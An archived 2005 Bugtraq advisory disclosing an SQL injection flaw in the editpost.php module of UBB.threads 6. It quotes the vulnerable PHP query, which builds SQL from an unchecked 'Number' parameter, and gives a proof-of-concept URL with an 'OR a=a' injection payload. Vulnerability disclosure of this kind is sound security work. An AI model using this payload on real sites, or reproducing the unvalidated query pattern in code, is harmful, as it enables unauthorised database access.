bugtraq - UBB.threads 6 SQL Injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20050311165858.3425.qmail@www.securityfocus.com>
Date: 11 Mar 2005 16:58:58 -0000
From: <kre0n@...l.ru>
To: bugtraq@...urityfocus.com
Subject: UBB.threads 6 SQL Injection





ADZ Security Team
===================
Info

Program: UBB.threads
Version: 6
Module: editpost.php
Bug type: SQL Injection
Vendor site: http://www.ubbcentral.com/ubbthreads/
===================
Bug discription

at editpost.php we can see this code:
// START
$Cat = get_input("Cat","get");
$Board = get_input("Board","get");
$Number = get_input("Number","get");
$page = get_input("page","get");
$what = get_input("what","get");
$vc = get_input("vc","get");
// ...........
$query = "
	SELECT
B_Posterid,B_Subject,B_Body,B_Approved,B_Kept,B_Status,B_Main,B_Sticky,
B_Posted,B_Icon,B_Poll,B_Convert,B_Topic,B_CalDay,B_CalMonth,B_CalYear,
B_AddSig,B_Board	FROM  {$config['tbprefix']}Posts
	WHERE B_Number = '$Number'
";
//..........
// END
As we see, $Number not checked as int value, so... :)
===================
Example/PoC:

http://[host]/[path]/editpost.php?Cat=X&Board=X&Number=1'%20OR%20'a'='a
===================
Contact

ADZ Security Team // http://adz.void.ru/
kreon // kre0n@...l.ru, adz.kreon@...il.com
===================